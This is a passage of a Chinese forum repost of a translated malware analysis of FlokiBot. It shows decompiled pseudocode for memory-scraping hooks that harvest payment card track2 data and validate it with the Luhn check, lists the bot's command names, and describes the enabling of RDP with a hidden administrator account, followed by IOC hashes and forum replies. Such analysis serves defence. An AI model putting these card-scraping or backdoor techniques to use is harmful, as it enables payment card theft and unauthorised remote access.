  if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )
  {
    if ( check_base_addr(*BaseAddress) )
      return 0xC0000022;                        // STATUS_ACCESS_DENIED
    RtlEnterCriticalSection_wrap(&unk_41E6E8);
    v11 = 1;
  }
  retBaseAddress = NtProtectVirtualMemory_wrap(
                   ProcessHandle,
                   BaseAddress,
                   NumberOfBytesToProtect,
                   NewAccessProtection,
                   OldAccessProtection);
[...]
LABEL_18:
  if ( v11 )
    RtlLeaveCriticalSection_wrap(&unk_41E6E8);
  return retBaseAddress;
}


PoS恶意软件特征:内存截取

在我的 前一篇文章 中,我逆向了一款非常基础的叫做TreasureHunter PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。

像大多数PoS恶意软件,FlokiBot通过定期读取进程内存来搜索track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的PAN。为克服这个问题,在Floki把自己注入到某一个进程后,它会放置一个钩子到NtFreeVirtualMemory 中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻track2 PAN 。用这种方法,它就不太可能会错失PAN.

int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
  PVOID v4; // ebx@1
  int v5; // edi@3
  RtlEnterCriticalSection_wrap(&unk_41E6E8);
  v4 = 0;
  if ( BaseAddress )
    v4 = *BaseAddress;
  v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);
  if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )
    trigger_ram_scraping((int)v4);
  RtlLeaveCriticalSection_wrap(&unk_41E6E8);
  return v5;
}

Floki发现track2数据,它就会通过查看PAN的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:

http://www.stevemorse.org/ssn/List_of_Bank_Identification_Numbers.html

Floki并没有查看整个IIN (6 ),而是只检查了第一位看它是否符合下面的发行方:

  • 3Amex / Dinners / JP

  • 4VISA

  • 5Mastercard

  • 6Discover

FlokiBot identify_mii 流程:


然后,它根据Luhn算法查看PAN是否有效:

char __usercall check_mii_luhn@<al>(void *a1@<ecx>, _BYTE *a2@<esi>)
{
  char result; // al@1
  [...]
  result = identify_mii(*a2, a1);
  if ( result )
  {
    v7 = 0;    v3 = 1;    v8 = 2;
    v9 = 4;    v10 = 6;    v11 = 8;
    v12 = 1;    v13 = 3;    v14 = 5;
    v15 = 7;    v16 = 9;    v4 = 0;    v5 = 16;
    do    // Luhn Algorithm
    {
      v6 = a2[--v5] - '0';
      if ( !v3 )
        v6 = *(&v7 + v6);
      v4 += v6;
      v3 = v3 == 0;
    }
    while ( v5 );
    result = v4 % 10 == 0;
  }
  return result;
}


通讯

通讯是用RC4和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:

user_flashplayer_remove user_flashplayer_get user_homepage_setuser_url_unblock user_url_block user_certs_remove user_certs_get user_cookies_remove user_cookies_get user_execute user_logoff user_destroy fs_search_remove fs_search_add fs_path_get bot_ddos_stop bot_ddos_start bot_httpinject_enablebot_httpinject_disablebot_bc_remove bot_bc_add bot_update_exe bot_update bot_uninstall os_reboot os_shutdown


现在FlokiBot还没有只是TOR,但你可以在代码中找到这个特征的一些痕迹。

激活远程桌面协议(RDP

这个payload想要通过寄存器来手动激活远程Windows桌面,然后执行控制台命令行添加一个隐形的管理员账号test_account:test_password

enable_remote_desktop 函数的伪码:

void enable_remote_desktop()
{
  signed int v0; // eax@3
  int v1; // [sp+0h] [bp-Ch]@2
  int v2; // [sp+4h] [bp-8h]@2
  int v3; // [sp+8h] [bp-4h]@2
  if ( byte_41E43C ) {
    v2 = 0;
    v1 = 4;
    v3 = 0x80000002;
    if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, 1, &v3) )
      v0 = -1;
    else
      v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);
    if ( v0 != -1 ) {
      if ( v2 ) {
        v3 = 0;                                 // 0 = Enables remote desktop connections
        cstm_RegSetValueExW(
          0x80000002,
          (int)L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
          (int)L"fDenyTSConnections",
          4,
          (int)&v3,
          4);
      }
    }
  }
}


自从ATS这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。

最后需要注意的和哈希值

FlokiBot是又一基于ZeuS的恶意软件,有些代码甚至是直接从Carberp拿来的。虽然如此,它的解除挂钩操作和PoS恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用AppCall,只用IDA脚本就可以进行静态分析。

针对最近的FlokiBot样本,@v0id_hunter  上传了了下面这些SHA256.

23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd 7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326 7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92afc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67 943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539 bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78 6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937 01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f 06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54 24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6 a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2 07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29 3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000 fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1 966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d 296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c 61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166 cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75 1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50 912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db 691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6 c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7 5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311

感谢阅读。


原文链接:http://adelmas.com/blog/flokibot.php

本文由 看雪翻译小组 lumou 编译




[课程]Android-CTF解题方法汇总!

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 34
活跃值: (864)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
2
我尽力了,可是还是没排好版式。
2017-3-25 21:20
0
雪    币: 21449
活跃值: (62288)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
3
lumou 我尽力了,可是还是没排好版式。
辛苦,排版过程中,感觉哪点不太好?我们再改进
2017-3-25 22:02
0
雪    币: 34
活跃值: (864)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
4
Editor 辛苦,排版过程中,感觉哪点不太好?我们再改进
从我个人来说,我本身对于排版不太在行,所以在写的时候是用缩进的方式对齐表格的,所以最后必然是东西都缩在一起了。然后关于我们论坛的:1.我在复制粘贴的过程中发现,因为我今天弄了几次,第一次的时候是用全屏,它没有出现滚动条,而且每次粘贴后都会跳回首行,第二次的时候,如果直接粘贴代码,格式不对,用“粘贴纯文字”粘贴的话,格式没问题,但又跳到末行。2.不知道能否像原文里的那样,代码如果比较长的话,用滚动条的形式展现。
2017-3-25 23:22
0
雪    币: 7705
活跃值: (2178)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
lz辛苦了,谢谢分享
2017-3-30 09:06
0
游客
登录 | 注册 方可回帖
返回
//